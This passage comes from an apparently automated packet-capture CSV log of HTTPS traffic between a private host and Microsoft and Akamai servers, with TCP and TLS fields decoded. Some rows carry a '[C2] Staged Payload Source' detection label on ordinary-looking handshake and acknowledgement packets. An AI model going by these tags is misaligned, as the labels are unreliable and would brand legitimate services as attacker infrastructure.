\"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60592, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20498, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884107125, \"\"ack\"\": 2441338845, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:42.701811,21,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=193541011 Ack=0,bc24112907bbbc2411360d0c0800450000348ef3400080065e160a98980b84f5e621f9dc01bb0b893393000000008002ffff26a20000020405b40103030801010402,\".$.)...$.6\n...E..4..@...^.\n......!......3.........&...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36595, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24086, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541011, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 9890, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:22:42.701841,22,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1223497230 Ack=193541012,bc2411360d0cbc24112907bb0800450000340000400040062d0a84f5e6210a98980b01bbf9dc48ed160e0b8933948012faf00de10000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.-\n...!\n.......H.....3.....\n..............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 11530, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223497230, \"\"ack\"\": 193541012, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 3553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:22:42.702033,23,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541012 Ack=1223497231,bc24112907bbbc2411360d0c0800450000288ef4400080065e210a98980b84f5e621f9dc01bb0b89339448ed160f5010040004690000,\".$.)...$.6\n...E..(..@...^!\n......!......3.H...P....i..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36596, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24097, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541012, \"\"ack\"\": 1223497231, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 1129, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:42.704970,24,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541012 Ack=1223497231,bc24112907bbbc2411360d0c0800450000f38ef5400080065d550a98980b84f5e621f9dc01bb0b89339448ed160f50180400a2d5000016030300c6010000c203036a2f1ba183a8c78c46f2ed1350820faab811613bf48bf6cf343d61d86ca450ce000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000730000001700150000126f75746c6f6f6b2e6f66666963652e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...]U\n......!......3.H...P..................j/......F...P.....a;....4=a.l.P...&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...s.........outlook.office.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 243, \"\"id\"\": 36597, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23893, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541012, \"\"ack\"\": 1223497231, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 41685, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 198, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=194 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:22:41  (1781472161) random_bytes=83a8c78c46f2ed1350820faab811613bf48bf6cf343d61d86ca450ce sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=115 ext=[<TLS_Ext_ServerName  type=server_name len=23 servernameslen=21 servernames=[b'outlook.office.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:42.704981,25,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223497231 Ack=193541215,bc2411360d0cbc24112907bb08004500002805b540004006276184f5e6210a98980b01bbf9dc48ed160f0b89345f5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'a...!\n.......H.....4_P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1461, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10081, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223497231, \"\"ack\"\": 193541215, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:42.764074,26,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1884107125 Ack=2441338845,bc2411360d0cbc24112907bb0800450002a1ecb1400040064d98021759530a98980b01bbf9c9704d31759183dfdd5018003f00a10000170303027407266d8f2f8a575cd5f42142766890011681371e3cb0893cc25ed4392ead5c8a692224b5ad5dc2f7994cb2d31a51336eb661a939fd6ef2b9340db3568b76369d7689356fe8b5185d7ae0d8579d72e70cb61436c7c8d1408c3f17a15dfbaaaa9c5fadadf8e106a264444d3e95769b01c81979cfb34146b6d1f87d0d8fd3f2699c65a94b4776f0bd5f0a003e70f30f23b62ed51f2b04448cdbbae5327efacdc4d4f902a91dd30b57bd93695975324caee015edc1e1a52efb1d4808b565b9930aeb76f6b7d6f8114c537c1092c0abcea9f2487a16cd1a888fe310da1a6d367eabe5c90033a502d368fcdcfcd61055efad9532c328529c9d03ba31906aefdca12845864a4e37393dfcfa3a82093235e3985578201e3f8446cb4e68707ec9dbd8d07567f377611c4773aef7871dcc4fb812bd1f2aafebb826e171839efb1c407c18e8f5216768c9400a2a37eaaa4cfb2cb01645fb880a3185ad6a6594086c03414b82aac53d2006336f39aad6bf7dd11cadc3e0c22a6b60578c6fc6fdf8427ddd164a64f902b0c8d20ff8fe624bb1b12c709d46a5531efadec9f565855105a4320aa0eef3c895a0bec9da436d87dd9526eb4232c0b5a03c11c95bb7f24a4d34a8f28ef4efdd41bbf922d2bb273554207680c15709e596f17dc116e72241d74c8517db8311f7527df259461ce1eb6215ea021e2864559fd13015190e9ccabd1c43b63739e8d8017183ab46cc13d2e1d9de8c7a611c9697d8213bca58ddcf0b4ae3248a14b4d6892f1a39cc1f368176d3a36461f267a0e18708a5936ef5cd1795b01e6f49a1d2c3668a99be4ef8d10a82c9ae2f44a037f48ab99d52432b26a45bb23fc92dea01e2108b251bd541f0e335664af71aba26ec,\".$.6\n..$.)....E.....@.@.M...YS\n.......pM1u....P..?........t.&m./.W\\..!Bvh....7.<..<.^.9..\\.i\"\"$..]...L...Q3n.a.9.n..4\n.V.v6.v.5o...]z..W.r....6...@.?..]...._......dDM>.v....y..AF...}\n...i.e.KGv.._\n.>p..#....+.D....2~..........W..iYu2L..........H..e..\n.v.....LS|.......Hz.........m6~....3...h.....U...2.(R....1.j...(E.JN79=..:.\t25..Ux .?.F.Nhp~....ug.wa.Gs.....O....*...&.q....@|...!gh.@\n*7..L.,..E..\n1..je..l.AK...= .3o9...}......*k`W.o...B}..Jd........bK..,p.F.S.....e.Q..2\n.........Cm...&.B2...<..[..JM4......A..\"\"..'5T v..W\t...}...\"\"A.L......R}.YF...b....(dU..0.......C.79...q..F.......za....!;.X...J.$...../.9..6.v..da.g......n......oI...f...N..\n.../D.7....RC+&.[.?.-.....%..A..5fJ...&.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 673, \"\"id\"\": 60593, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19864, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884107125, \"\"ack\"\": 2441338845, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 161, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 628, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x07&m\\\\x8f/\\\\x8aW\\\\\\\\\\\\xd5\\\\xf4!Bvh\\\\x90\\\\x01\\\\x16\\\\x817\\\\x1e<\\\\xb0\\\\x89<\\\\xc2^\\\\xd49.\\\\xad\\\\\\\\\\\\x8ai\\\"\"$\\\\xb5\\\\xad]\\\\xc2\\\\xf7\\\\x99L\\\\xb2\\\\xd3\\\\x1aQ3n\\\\xb6a\\\\xa99\\\\xfdn\\\\xf2\\\\xb94\\\\r\\\\xb3V\\\\x8bv6\\\\x9dv\\\\x895o\\\\xe8\\\\xb5\\\\x18]z\\\\xe0\\\\xd8W\\\\x9dr\\\\xe7\\\\x0c\\\\xb6\\\\x146\\\\xc7\\\\xc8\\\\xd1@\\\\x8c?\\\\x17\\\\xa1]\\\\xfb\\\\xaa\\\\xaa\\\\x9c_\\\\xad\\\\xad\\\\xf8\\\\xe1\\\\x06\\\\xa2dDM>\\\\x95v\\\\x9b\\\\x01\\\\xc8\\\\x19y\\\\xcf\\\\xb3AF\\\\xb6\\\\xd1\\\\xf8}\\\\r\\\\x8f\\\\xd3\\\\xf2i\\\\x9ce\\\\xa9KGv\\\\xf0\\\\xbd_\\\\n\\\\x00>p\\\\xf3\\\\x0f#\\\\xb6.\\\\xd5\\\\x1f+\\\\x04D\\\\x8c\\\\xdb\\\\xba\\\\xe52~\\\\xfa\\\\xcd\\\\xc4\\\\xd4\\\\xf9\\\\x02\\\\xa9\\\\x1d\\\\xd3\\\\x0bW\\\\xbd\\\\x93iYu2L\\\\xae\\\\xe0\\\\x15\\\\xed\\\\xc1\\\\xe1\\\\xa5.\\\\xfb\\\\x1dH\\\\x08\\\\xb5e\\\\xb9\\\\x93\\\\n\\\\xebv\\\\xf6\\\\xb7\\\\xd6\\\\xf8\\\\x11LS|\\\\x10\\\\x92\\\\xc0\\\\xab\\\\xce\\\\xa9\\\\xf2Hz\\\\x16\\\\xcd\\\\x1a\\\\x88\\\\x8f\\\\xe3\\\\x10\\\\xda\\\\x1am6~\\\\xab\\\\xe5\\\\xc9\\\\x003\\\\xa5\\\\x02\\\\xd3h\\\\xfc\\\\xdc\\\\xfc\\\\xd6\\\\x10U\\\\xef\\\\xad\\\\x952\\\\xc3(R\\\\x9c\\\\x9d\\\\x03\\\\xba1\\\\x90j\\\\xef\\\\xdc\\\\xa1(E\\\\x86JN79=\\\\xfc\\\\xfa:\\\\x82\\\\t25\\\\xe3\\\\x98Ux \\\\x1e?\\\\x84F\\\\xcbNhp~\\\\xc9\\\\xdb\\\\xd8\\\\xd0ug\\\\xf3wa\\\\x1cGs\\\\xae\\\\xf7\\\\x87\\\\x1d\\\\xccO\\\\xb8\\\\x12\\\\xbd\\\\x1f*\\\\xaf\\\\xeb\\\\xb8&\\\\xe1q\\\\x83\\\\x9e\\\\xfb\\\\x1c@|\\\\x18\\\\xe8\\\\xf5!gh\\\\xc9@\\\\n*7\\\\xea\\\\xaaL\\\\xfb,\\\\xb0\\\\x16E\\\\xfb\\\\x88\\\\n1\\\\x85\\\\xadje\\\\x94\\\\x08l\\\\x03AK\\\\x82\\\\xaa\\\\xc5= \\\\x063o9\\\\xaa\\\\xd6\\\\xbf}\\\\xd1\\\\x1c\\\\xad\\\\xc3\\\\xe0\\\\xc2*k`W\\\\x8co\\\\xc6\\\\xfd\\\\xf8B}\\\\xdd\\\\x16Jd\\\\xf9\\\\x02\\\\xb0\\\\xc8\\\\xd2\\\\x0f\\\\xf8\\\\xfebK\\\\xb1\\\\xb1,p\\\\x9dF\\\\xa5S\\\\x1e\\\\xfa\\\\xde\\\\xc9\\\\xf5e\\\\x85Q\\\\x05\\\\xa42\\\\n\\\\xa0\\\\xee\\\\xf3\\\\xc8\\\\x95\\\\xa0\\\\xbe\\\\xc9\\\\xdaCm\\\\x87\\\\xdd\\\\x95&\\\\xebB2\\\\xc0\\\\xb5\\\\xa0<\\\\x11\\\\xc9[\\\\xb7\\\\xf2JM4\\\\xa8\\\\xf2\\\\x8e\\\\xf4\\\\xef\\\\xddA\\\\xbb\\\\xf9\\\"\"\\\\xd2\\\\xbb\\\\'5T v\\\\x80\\\\xc1W\\\\t\\\\xe5\\\\x96\\\\xf1}\\\\xc1\\\\x16\\\\xe7\\\"\"A\\\\xd7L\\\\x85\\\\x17\\\\xdb\\\\x83\\\\x11\\\\xf7R}\\\\xf2YF\\\\x1c\\\\xe1\\\\xebb\\\\x15\\\\xea\\\\x02\\\\x1e(dU\\\\x9f\\\\xd10\\\\x15\\\\x19\\\\x0e\\\\x9c\\\\xca\\\\xbd\\\\x1cC\\\\xb679\\\\xe8\\\\xd8\\\\x01q\\\\x83\\\\xabF\\\\xcc\\\\x13\\\\xd2\\\\xe1\\\\xd9\\\\xde\\\\x8cza\\\\x1c\\\\x96\\\\x97\\\\xd8!;\\\\xcaX\\\\xdd\\\\xcf\\\\x0bJ\\\\xe3$\\\\x8a\\\\x14\\\\xb4\\\\xd6\\\\x89/\\\\x1a9\\\\xcc\\\\x1f6\\\\x81v\\\\xd3\\\\xa3da\\\\xf2g\\\\xa0\\\\xe1\\\\x87\\\\x08\\\\xa5\\\\x93n\\\\xf5\\\\xcd\\\\x17\\\\x95\\\\xb0\\\\x1eoI\\\\xa1\\\\xd2\\\\xc3f\\\\x8a\\\\x99\\\\xbeN\\\\xf8\\\\xd1\\\\n\\\\x82\\\\xc9\\\\xae/D\\\\xa07\\\\xf4\\\\x8a\\\\xb9\\\\x9dRC+&\\\\xa4[\\\\xb2?\\\\xc9-\\\\xea\\\\x01\\\\xe2\\\\x10\\\\x8b%\\\\x1b\\\\xd5A\\\\xf0\\\\xe35fJ\\\\xf7\\\\x1a\\\\xba&\\\\xec' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:42.815264,27,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441338845 Ack=1884107758,bc24112907bbbc2411360d0c0800450000282fb940008006cd090a98980b02175953f9c901bb9183dfdd704d33ee501003fd9ca80000,\".$.)...$.6\n...E..(/.@....\t\n.....YS........pM3.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12217, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52489, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441338845, \"\"ack\"\": 1884107758, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 40104, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:43.187032,28,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=1223497231 Ack=193541215,bc2411360d0cbc24112907bb080045000ff805b640004006179084f5e6210a98980b01bbf9dc48ed160f0b89345f5018003f1da50000160303110b0200006603036a2eb9328a6cc68a0a18be92d2f74c7a185d55afe572740c444f574e4752440120a80e0000077e67e8e5a4e044a3822244fb302bfb9693a7ce7498289804e7ac35c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a